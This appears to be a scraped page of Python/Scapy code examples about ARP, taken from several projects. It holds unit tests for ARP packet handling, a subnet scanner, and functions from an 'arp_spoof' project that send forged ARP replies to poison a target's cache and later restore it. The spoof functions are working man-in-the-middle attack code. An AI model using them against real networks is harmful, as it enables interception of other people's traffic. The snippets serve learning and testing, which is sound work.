def pdst_adrExists(self):
        src_ref = '83.78.233.252'
        dst_ref = '181.149.152.176'
        
        ref_pkt = l2.ARP(psrc=src_ref, pdst='124.233.255.79')
        mac_pkt = l2.ARP(psrc=src_ref, pdst=dst_ref)

        data = lib.build_mock_dict()

        pp.arp_pdst_change(mac_pkt, data)

        self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
    def hwdst_adrNotExist(self):
        src_ref = 'FB:1E:DC:3A:69:00'
        dst_ref = 'FB:23:C0:22:0F:85'
        
        ref_pkt = l2.ARP(hwsrc=src_ref, hwdst=dst_ref)
        mac_pkt = l2.ARP(hwsrc=src_ref, hwdst=dst_ref)

        data = lib.build_mock_dict()

        pp.arp_hwdst_change(mac_pkt, data)

        self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
    def hwdst_adrExists(self):
        src_ref = 'FB:1E:DC:3A:69:00'
        dst_ref = 'F6:DA:77:F3:E2:E0'
        
        ref_pkt = l2.ARP(hwsrc=src_ref, hwdst='8C:37:E1:F2:C8:E5')
        mac_pkt = l2.ARP(hwsrc=src_ref, hwdst=dst_ref)

        data = lib.build_mock_dict()

        pp.arp_hwdst_change(mac_pkt, data)

        self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
    def pdst_adrNotExist(self):
        src_ref = '83.78.233.252'
        dst_ref = '125.195.213.93'
        
        ref_pkt = l2.ARP(psrc=src_ref, pdst=dst_ref)
        mac_pkt = l2.ARP(psrc=src_ref, pdst=dst_ref)

        data = lib.build_mock_dict()

        pp.arp_pdst_change(mac_pkt, data)

        self.assertTrue( lib.compare_mac_pkts(ref_pkt, mac_pkt), msg= (str(ref_pkt) + ' == ' + str(mac_pkt)) )
示例#5
0
文件: main.py 项目: cool374/arp_spoof
def get_mac(ip):
    arp_request = l2.ARP(pdst=ip)
    broadcast = l2.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    answered_list = srp(arp_request_broadcast, timeout=5, verbose=False)[0]
    # print("---- Length: " + str(len(str(answered_list))))
    # print(str(ls(answered_list[0][1])) + "\n\n")
    return answered_list[0][1].hwsrc
示例#6
0
def arp_request(iface: str, dst: str, retry=2, timeout=1) -> Optional[str]:
    """ Sends an ARP request and attempts to return target's MAC address """
    local_ip, local_mac = unpack_iface(iface)
    rsp = srp(l2.Ether(dst='ff:ff:ff:ff:ff:ff', src=local_mac) / l2.ARP(
        hwsrc=local_mac, psrc=local_ip, hwdst='ff:ff:ff:ff:ff:ff', pdst=dst),
              timeout=timeout,
              retry=retry,
              verbose=False)
    if not rsp[0]:
        return
    return rsp[0][0][1]['ARP'].hwsrc
示例#7
0
文件: main.py 项目: cool374/arp_spoof
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    print("---- destination_mac: " + destination_mac)
    source_mac = get_mac(source_ip)
    print("---- source_mac: " + source_mac)
    packet = l2.ARP(op=2,
                    pdst=destination_ip,
                    hwdst=destination_mac,
                    psrc=source_ip,
                    hwsrc=source_mac)
    send(packet, verbose=False)
示例#8
0
def arp_response(src: str,
                 src_mac: str,
                 dst: str,
                 dst_mac: str,
                 count=3,
                 interval=0.1) -> None:
    """ Sends an ARP response """
    for i in range(count):
        sendp(l2.Ether(dst=dst_mac, src=src_mac) / l2.ARP(
            op="is-at", hwsrc=src_mac, psrc=src, hwdst=dst_mac, pdst=dst),
              verbose=False)
        if interval > 0:
            sleep(interval)
示例#9
0
def scan(ip):  # Función que dado una IP o un rango de IP escanea una subred
    # Creamos un objeto ARP con la dirección IP objetivo
    arp_request = scapy.ARP(pdst=ip)
    # Lo vamos a enviar por broadcast, por eso ponemos como mac todo 1
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request
    # scapy.srp() envía el paquete arp_request_broadcast y mete en answered_list las respuestas
    # [0] permite listar solo las respuestas
    answered_list = scapy.srp(arp_request_broadcast, timeout=1,
                              verbose=False)[0]
    clients_list = []
    for element in answered_list:
        client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
        clients_list.append(client_dict)
    return clients_list
示例#10
0
文件: main.py 项目: cool374/arp_spoof
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    print("---- target_mac: " + target_mac)
    packet = l2.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    send(packet, verbose=False)
示例#11
0
def spoof(target_ip: str, spoof_ip: str):
    packet = l2.ARP(pdst=target_ip,
                    hwdst=target_mac,
                    psrc=spoof_ip,
                    op='is-at')
    scapy.send(packet, verbose=False)